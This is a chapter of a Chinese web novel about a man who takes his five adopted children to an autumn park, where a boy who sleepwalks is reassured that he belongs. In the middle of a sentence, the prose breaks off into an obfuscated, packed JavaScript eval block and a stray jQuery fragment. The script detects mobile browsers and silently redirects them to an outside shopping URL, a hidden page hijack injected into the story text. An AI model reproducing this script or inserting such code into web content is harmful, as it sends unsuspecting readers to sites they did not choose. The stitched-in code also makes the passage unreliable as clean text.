下午，沈渡带孩子们去公园。
秋天的公园里有菊花展，黄的白的紫的红的，开成一片。沈念跑在最前面，念念不忘的腿抱在怀里——她今天出门非要带，说念念不忘很久没看过花了，会想念花的。
林暮走在第二，手里拿着一个塑料袋，用来装落叶。他说落叶拿回家可以压干做书签。
林鸢走在第三，抱着小夜，琴头朝着天空。
顾夜走在第四，手里端着一杯温水——出门前倒的，用保温杯装着，他说路上会渴。
傅星辰走在最后面，和沈渡并排。他没有看花，他在看脚下，看石板路的缝隙里钻出来的小草。
草已经黄了，但还在长。从裂缝里钻出来，顶着石板，弯弯曲曲的，像一个不屈不挠的小人儿，在跟整条路作对。
他觉得那棵小草很好看，比任何一朵花都好看。
花是种出来的，有人浇水有人施肥有人修剪，开得漂亮是应该的。
草不是。草是自己长的，没有人浇水，没有人施肥，没有人修剪，被踩了无数遍，被拔了无数遍，被当作杂草除了无数遍，但它还在。从石板的缝隙里，从墙角的阴影里，从没有人注意的角落里，探出头来，绿着，黄着，枯着，但从来没有放弃过“我要长大”这件事。
傅星辰蹲下来，摸了摸那棵小草的叶子，叶子已经黄了，很脆，一碰就碎了一片。他把碎了的叶片放在手心里，叶片很小，干干的，像一张被太阳晒干的纸。
他把它装进兜里，站起来，继续走。
走到公园长椅前，沈渡坐下来。孩子们各玩各的去了，只有傅星辰没有走。他站在沈渡面前，书包抱在怀里——那个磨得看不清图案的米老鼠书包，拉链头已经断了，用一根红色的绳子代替。他看着沈渡，沈渡看着他。秋天的风吹过来，吹动了傅星辰的头发，刘海被吹到一边，露出一小片额头，额头上有一颗小小的痣，像一粒芝麻。
“叔叔，”傅星辰开口了，“我可以问你一个问题吗？”
“可以。”
“你为什么要接那么多小孩回家？福利院还有好多小孩，你接不完的。这个世界上还有好多好多没人要的小孩，你接不完的。”傅星辰说这些话的时候，语气不是质疑，不是质问，是一种很平静的、像秋天的湖水一样的疑惑。
他真的不懂。他不明白为什么有人会把别人的孩子带回家，不为了钱，不为了名，不为了任何看得见摸得着的东西。
他见过的成年人，做任何事情都有一个理由——为了钱，为了名声，为了面子，为了不让别人说闲话。
他在福利院待了三年，见过太多来领养的大人，他们看孩子的眼神像在挑一件商品——这个太瘦了，这个太丑了，这个有病。
没有人选他。他不够好。他没有爸爸，没有妈妈，没有房子，没有钱，没有未来。他什么都没有。谁会要一个什么都没有的孩子？
沈渡看了他很久，久到风把他自己的刘海也吹乱了。他没有把刘海拨回去，就让它乱着。他开口说了一句话，声音不大，但每个字都很清楚：“接不完。”
傅星辰愣了一下。
“这个世界上没人要的小孩，接不完。我不是在接他们，我是在接你。不是‘你们’，是‘你’。你是傅星辰，不是‘福利院的孩子’，不是‘没人要的小孩’，不是‘第五个’。你是傅星辰。傅星辰在我眼里不是一个‘没人要的小孩’，是一个会梦游、早上会被阳光叫醒、会给自己的碗画向日葵、会把小草碎片装进兜里的小孩。”
傅星辰的眼眶红了，但他没有哭。他把书包抱得更紧了一些，紧到米老鼠的图案在他胸口印出一个模糊的印子。
“可是，”他的声音抖了一下，“我梦游。我晚上会起来，会敲每一扇门，会说‘妈妈我回来了’。会吓到你的，会吓到他们的。”
沈渡说：“我知道。”
傅星辰抬起头看着他。“你不会害怕吗？”
“不会。”
“为什么？”
沈渡想了想，说了实话。
“因为我以前也敲过门。在我很小的时候，在一个没有人听见的地方，敲了很久。没有一扇门打开。所以我知道，敲门的不是怪物，是迷路的孩子。他只是想回家。”他顿了顿，“你是想回家，不是想吓人。这不一样。”
傅星辰的眼泪终于掉了下来。不是嚎啕大哭，不是抽抽噎噎，是一种更安静的、无声的、像春天的雪融化成水从屋檐滴落一样的哭。
眼泪一颗一颗地从眼眶里涌出来，顺着脸颊往下流，滴在书包上，滴在米老鼠的笑脸上。米老鼠在哭，但它还在笑，像一张哭着的笑脸，像他这个人——笑着来的，但心里有一个地方一直在下雨。
沈渡没有抱他，没有擦他的眼泪，没有说“别哭了”。他只是把手伸过去，掌心朝上，放在傅星辰的膝盖旁边。
傅星辰低下头，看着那只手。他认识这只手。昨天在福利院的走廊里，这只手伸给他，说“你可以梦游”。今天在公园的长椅前，这只手又伸给他，掌心朝上，手指微张，像在等一朵云落在上面。
他把自己的手放了上去。很小，很凉，像一只刚从壳里孵出来的小鸡，抖抖索索的。沈渡合上手指，握住了他。不松不紧，刚好，像一个量身定做的套子，把他的手整个包住了，包得严严实实。
风进不来，雨进不来，冷也进不来，阳光进来了。阳光从他们交握的手指缝隙里漏进来，一小条一小条的金色，像一把光做的梳子，梳过他的手背，梳过他的指缝，梳过那些看不见的伤口。
傅星辰的手在沈渡的掌心里，慢慢地、终于、像一朵迟到了整个秋天的花那样——暖了。
不远处，沈念追着一片落叶跑，落叶被风吹起来，她跳起来够，没够着，摔了一跤。念念不忘的腿从怀里飞出去，落在草地上。
她爬起来，拍拍膝盖上的土，跑过去把熊腿捡起来，拍了拍熊腿上的草屑，说“念念不忘你没事吧”，熊腿当然不会回答，但她说“没事就好”。
林暮在捡落叶，红的黄的绿的，每一片都仔细看过了才放进塑料袋里，像在挑选珍贵的宝石。
林鸢坐在另一张长椅上，抱着小夜，琴头朝着天空，风从琴弦上吹过，发出很轻很轻的嗡嗡声，像在跟天空说话。
顾夜蹲在菊花展的围栏外面，看着一朵黄色的菊花，看了很久。他不知道那朵花叫什么名字，但他觉得它很好看。好看的东西不需要名字，它在那里，你看着它，心里那个很久没有开过花的地方，好像有一个花苞在慢慢鼓起来。
傅星辰坐在沈渡旁边，手还被握着，不是握得很紧，是刚好不会掉的那种紧。他看着远处的几个孩子，看着沈念追落叶，看着林暮捡叶子，看着林鸢抱着琴，看着顾夜看花。他的眼泪已经不流了，眼眶还是红的，鼻尖也是红的，像一只被秋天的霜打过的小兔子。
“叔叔，”他说，“他们好好。”
沈渡说：“嗯。”
傅星辰低下头，看着自己的脚。脚上穿着一双新拖鞋，浅蓝色的，上面绣着一朵白云。是沈渡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547263|204194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
昨天晚上放在他床边的，尺码刚好，不大不小，不松不紧，像照着他的脚做的。他的脚趾在拖鞋里动了动，趾头分开，又合拢，像五只在海里游泳的小鱼，游到了温暖的洋流里，不用再用力了，随着水流漂就可以了。水流会带他们去该去的地方，不用担心迷路，因为整片海都是家。
傍晚，太阳快落山了。沈渡带着五个孩子往回走，沈念在前面跑，跑几步回头喊一声“爸爸你们快点”。
林暮走在第二，塑料袋里装满了落叶，沙沙作响，像在唱歌。
林鸢走在第三，抱着小夜，琴头朝着家的方向——她认识路了，来了三个月，她记得每一个拐角、每一盏路灯、每一棵行道树。
顾夜走在第四，保温杯里的水还温着，他喝了一口，把杯子递给傅星辰。
傅星辰接过来喝了一口，水是温的，不烫嘴，不凉牙，刚好。他把杯子还给顾夜，说了一声“谢谢”。
顾夜没有说话，但他把杯子又递给傅星辰了，意思是你再喝一口。傅星辰又喝了一口，这一次喝得很大口，水从杯子里溢出来，沿着下巴往下流，滴在浅蓝色的云朵拖鞋上。他没有擦，水滴在云朵上，像雨落在云上，云不会湿，云本来就是水做的。
夕阳把他们的影子拉得很长很长。五个影子，高高低低的，有的胖有的瘦，有的抱着一只熊腿，有的抱着一把琴，有的拎着一袋落叶，有的端着一个保温杯，有的什么也没有拿，只是背着一个小小的磨得看不清图案的米老鼠书包。
他们的影子投在地上，挨在一起，交叠着，分不清谁的腿是谁的腿，谁的头是谁的头。好像五棵不同种类的树，被夕阳画成了一幅画，画的名字叫“家”。不是“一个家”，是“家”。
就是“家”这个字。宝盖头下面一个“豕”，是一只猪躲在屋檐下。猪不需要有用，不需要会挣钱、会做饭、会洗衣服、会梦游不梦游、会画画不会画画。猪只需要待在屋檐下，就可以了。屋檐会替它挡雨，墙会替它挡风，地板会托着它的脚，灯会在夜里亮着，不会灭。
夕阳落下去的时候，他们走到了家楼下。沈念第一个冲进楼道，跺了一脚，声控灯亮了，昏黄的光照着她的笑脸，缺了两颗门牙，笑得像一朵缺了花瓣的花，但还是好看的。林暮第二个，他把塑料袋举高，怕落叶被门夹住。林鸢第三个，她的琴碰到了楼梯扶手，发出“嗡”的一声，像在跟老房子打招呼。顾夜第四个，保温杯里的水还剩最后一口，他喝掉了，把杯子盖紧，放进兜里。
傅星辰最后一个。他站在单元门口，没有进去。
他抬头看了看四楼的窗户，窗帘是浅蓝色的，傍晚的风吹动窗帘，像一面温柔的旗帜在向他招手。窗帘后面有光，橘黄色的，不是太阳的光，是小夜灯的光，天还没有完全黑，它已经亮了。
它怕有人在天黑之前就感到害怕，所以它提前亮了。它不知道谁需要光，但它亮着。亮给每一个路过的人看。亮给那个站在单元门口、背着米老鼠书包、脚上穿着浅蓝色云朵拖鞋的男孩看。
傅星辰在门口站了一会儿。晚风吹着他的头发，把他的刘海吹到一边，露出那片额头和额头上那颗小小的痣。
痣很小，像一粒芝麻，像一颗星星，像一个句号，给他颠沛流离的前半生画上了一个句号。句号不是结束，是停顿。停顿之后，是新的句子，新的段落，新的一页，新的一章。
这一章的开头是：有一个男孩，在七岁的秋天，走到了一个门口，门开着，灯亮着，有人在等他。
他迈出了那一步。